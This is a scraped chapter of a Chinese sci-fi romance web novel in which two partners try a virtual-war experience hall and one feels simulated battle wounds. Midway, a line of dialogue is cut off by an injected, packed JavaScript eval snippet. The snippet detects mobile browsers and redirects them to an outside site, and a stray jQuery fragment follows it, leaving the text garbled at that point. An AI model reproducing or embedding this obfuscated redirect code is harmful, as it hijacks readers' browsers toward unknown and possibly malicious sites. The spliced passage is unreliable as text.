翌日临近出门前。


    程瑾披上一件外套，侧目看向正挑选衣服的黎书清。


    床上丢了一堆，都是被他否决的衣服，甚至还没选完，黎书清站在衣柜前，扒着上面的衣架，看着衣服的款式。


    “昨天不是刚买了六套衣服吗？从里面挑选一套不行吗？”程瑾实在看不下去了，如果按照他这个挑选方式，等到晚高峰她们都出不了门。


    黎书清闻言看她一眼，目光扫过她身上的衣服，昨天买的那几件，怎么看都跟她现在身上的是同一系列。


    也不是不能穿，就是有点别扭。


    昨天那套情侣装他本来也不是想跟程瑾一起穿的，只是想自己换着穿，怕程瑾不让买才说想跟她穿情侣装。


    “我──”


    眼看他还想多说两句，程瑾干脆直接进卧室，阖上房门反锁，走到床边挑出昨天买的其中一套，朝他淡然一笑：“我来帮你换？”


    Alpha的压制感出现，黎书清后退两步，脊背抵在衣柜门上，他喉结滚动，沉默片刻后妥协，声线带着颤抖：“我、我自己来，你先出去。”


    他这样子仿佛被欺负过一样，看得程瑾有些触动，她紧咬牙关，开门走回客厅，从收纳空间掏出一支抑制剂。


    房门打开，黎书清穿着程瑾挑选的那一套衣服走出来，很不自在地站定在她面前：“走吧。”


    黎书清相貌本就不错，只是被往常的班味儿遮盖住，现在换上休闲服、又整了整发型，看上去更像Omega了些。


    程瑾起身走到黎书清面前，手指扯开他领口处的丝巾，重新帮他系好，她系得很松散，露出黎书清的锁骨与天鹅颈，看着别有一番风味。


    两人特意错开晚高峰，等抵达苏岚烟说的那家料理时，还不到约定的时间。


    黎书清打开飞行器的窗户透风，目光落在不远处的时空跃迁体验馆，上面的标语更是稀奇：体验最真实的战场感觉！


    “诶，你们去攻打其他星球的时候用时空跃迁吗？真是“咻”地一下就会抵达吗？头会晕吗？”黎书清一下子问出三个问题，程瑾一一回答。


    “偶尔会用，不过得耗费大量精力，是快速抵达，不会头晕。”


    “哦。”得到回答后，黎书清似乎还没满足，看上去始终闷闷不乐的。


    程瑾顺着他的视线看到体验馆，扫过一眼此刻的时间，又打开通讯器向其他人询问，得到还得一会儿才能抵达的消息后，她关掉通讯器，走到飞行器另一侧拉开车门，看着黎书清：“下来。”


    黎书清这会儿还以为是其他人到了，他整理下衣装，想用最好的状态迎接顾湘，刚调整好面部表情，就被程瑾攥着手腕拉着走。


    他一路上都在挣扎，可程瑾实在握得太紧，最终黎书清只能停下动作，等待她到达目的地。


    程瑾并没其他意思，询问她不如直接坐上感受，看黎书清的样子，似乎真对这儿挺感兴趣，反正只是体验馆，也不会受伤。


    “您好，几位？”


    引导员在门口询问着，黎书清这时才看出程瑾的意思，他默默收紧手指，却没说不想玩的事。


    程瑾转头看他一眼，向引导员说一声：“两位。”


    “请问两位选择什么模式？”引导员点击光屏，上面立即出来三种模式。


    星际流浪模式：沉浸式体验星际流浪生活，常与星球碎片或废墟碰撞。


    废墟独活模式：作为星际废墟最后的生还者，找寻吃食活下去。


    星际战争模式：攻打敌方星球，攻击与受伤实感化，进一步感受军方的不易。


    程瑾最偏向选择第一个模式，在星际流浪应该挺有趣的，星球碎片也能用精神力移开，她伸出手，还没抬起来就听到黎书清倏地出声：“选第三个。”


    “您确定吗？”引导员虽然是在问黎书清，眼神却一直望着程瑾，明显知道两人中谁是Alpha且有主导权。


    程瑾不想让黎书清体验第三种模式，虽然上面写了虚假体验，可受伤的痛她体会过，黎书清肯定忍不了。


    在黎书清说出“确定”两字之前，程瑾握住他的手将他扯到一边，面色很是凝重：“虽然是虚假体验馆，但上面也写了会模拟真实痛感，你确定要体验？”


    “如果你不想让我体验的话，那我们现在就走，其他的也不用体验了。”黎书清表情明显变了，他绷紧脸，对程瑾的阻拦很不爽，眼角也泛红，仿佛快要哭出来。


    她这么阻拦他只有一个原因，就是受伤真的很疼，程瑾怕他承受不了。


    可黎书清也想感受下，程瑾受伤时到底有多痛。


    “难受的时候记得说，别逞强。”程瑾受不了黎书清装可怜的样子，但每次都被他这招骗到。


    为防止出现意外，程瑾多询问了几句，学会解除体验的手势后，两人分别坐在空间站中，闭上眼睛后，任由意识被机器捕捉投放到虚幻空间中。


    ［您好，已抵达战场，请睁眼。］


    程瑾顺着机械声的指示睁开眼睛，她此时正站在队伍的正前方，身份应该是位领军者。


    她环顾四周，却并没找到黎书清的身影，两人分明选的同一场景，也不应该会离太远，程瑾还想往后看的时候，突然有人喊一声。


    “敌军来犯！守护星球！”


    与此同时传来的还有铿锵有力的脚步声，程瑾顺着声音转过头去，倏地一怔。


    黎书清紧绷着脸，穿得正是她当年第一次领兵收复星球所穿的战斗服，程瑾大概猜测出来，这场景应该是用当时的影像建造出来的虚幻场景。


    程瑾现在的身份是敌军，而黎书清的身份是她。


    “本人是BJ星球上将黎书清，如果你们愿意投降……”


    “我们投降。”


    黎书清念台词的话被打断，他顿时有些恼羞成怒，他叉着腰隔着一层结界向程瑾喊话：“程瑾，你不能这样！”


    “我们主动投降了，你赢了不是很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927229|176784||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好吗？”程瑾装傻，她知道黎书清想感受受伤时的感觉，可两人现在是敌对的关系，意思就是让她对他动手。


    程瑾怎么可能下得去手。


    ［请按照游戏体验规则进行行为，否则将强制进行。］


    没想到还有强制行为，程瑾刚准备出声反驳，下一刻手臂就被控制，精神力化为利刃，在不受控的情况下往黎书清那边飞去。


    程瑾心脏一紧，想让黎书清小心，却根本喊不出声音来。


    看来又是强制行为搞的鬼，程瑾拧眉望过去，只见黎书清抬手，用屏障挡住了攻击。


    程瑾松了口气，还没出声下一波攻击再次出现，她刚放下的心又提起来，这次明显比上次的攻击更猛。


    她看着对面还在制作屏障的黎书清，很想让他跑。


    这场战争程瑾印象很深刻，不仅是她第一次独自领军，也是她第一次受重伤。


    程瑾当时对精神力把控不稳，再加上年轻气盛，根本没把对方当回事，精神力投过去的同时，敌方也趁机攻击，途中又抽出一只手挡住她的攻击，可程瑾没有反应过来去挡，而是硬生生挨了这一下。


    “嘶……”


    痛嘶声打断程瑾的思绪，她看向黎书清弯着腰，脸色倏然变得苍白。


    来不及多想，程瑾直接做出解除体验的手势，却遭到了机械声的拒绝。


    ［双人模式需要双方同时解除方可生效。］


    程瑾脸色一沉，轻呵一声。


    这体验馆好像在跟她玩文字游戏，可现在根本与外界联系不了，她只能紧绷着身体，看着对面的黎书清一次次被击中，直到她单膝跪地，身后潜伏的程嘉玟亲兵才动手还击。


    这场战争结束后，军方基地对外宣称程瑾初战告捷却身负重伤，实则是程嘉玟对她的压制，许是升职太快，程嘉玟才会借此来挫她的锐气。


    程瑾承认程嘉玟的目的成功达成，她那时确实觉得自己能力不足，不过也因为那次，她才越挫越勇，直到现在，几乎战无不胜。


    黎书清从头到尾都没有出示解除体验的手势，直到眼前画面消失，程瑾才被动赶出来，强行脱离虚幻空间。


    她猛地睁开眼睛，下意识侧过头。


    黎书清也正看着她，两人面面相觑，一时之间氛围变得有些微妙。


    工作人员把装置拆开，将两人从空间站带出来，体验纪念品是一件战斗服挂件，程瑾接过后递给黎书清，又向引导员提出意见。


    “希望规则能够加上一条，若两人为爱人的时候，其中一方有权利强制终止体验。”程瑾对刚刚她的终止被拒绝很不满意，提意见的同时不由得语气严肃。


    不过引导员不知道她的身份，她对此表示歉意，满脸笑意地用官方话术敷衍她：“您的意见我们已经收到，会反馈给上层的，感谢您的支持，祝您生活愉快。”


    程瑾即便生气，也无可奈何，她站定在黎书清面前，朝他伸出手，满脸担忧：“难受吗？”